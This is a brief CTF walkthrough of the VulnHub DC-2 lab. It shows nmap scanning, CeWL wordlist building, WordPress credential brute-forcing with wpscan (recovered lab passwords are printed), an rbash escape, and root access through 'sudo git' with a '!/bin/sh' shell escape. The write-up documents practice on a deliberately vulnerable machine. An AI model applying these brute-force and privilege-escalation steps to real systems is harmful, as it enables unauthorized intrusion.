← ALL WRITEUPSFIELD NOTES / TECHNICAL WRITEUP

Dc 2.md

IP:
OS: Linux
Difficulty: Easy
Date: 10.19.2026
Source: VulnHub

Nmap

nmap -sV -sC -p- <IP>

Open ports:

- 80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
- 7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)

Enumeration

Web

A hint on the index page mentioned CeWL (Custom Wordlists Generator), so I used the following command:

cewl -d 2 -m 5 -w wordlists.txt http://dc-2

After enumerating credentials, I found three users while running an --enumerate scan on the web server. I added them all to the users.txt file:

echo -e "admin\ntom\njerry" > users.txt
unrushed@kali:~/dc02$ wpscan --url http://dc-2 --usernames users.txt --passwords wordlists.txt

I found these credentials and could successfully log in to the page:

[!] Valid Combinations Found:
 | Username: tom, Password: parturient
 
 | Username: Jerry, Password: adipiscing

Foothold

After obtaining the credentials, I SSHed into Tom’s account.

The account used an rbash restricted shell. I tried several things and found that I could still use ls, echo, and vi, so I escaped the shell.

Privilege Escalation

Vector: I ran sudo -l and found this:

Technique: Since I could run sudo with Git, I used:

sudo git branch --help config
!/bin/sh

Then I obtained a shell.

Flags

cat /home/tom/flag*.txt
cat /home/jerry/flag*.txt
cat /root/final-flag.txt

Lessons Learned

← BACK TO WRITEUPSMAZEN. / HOME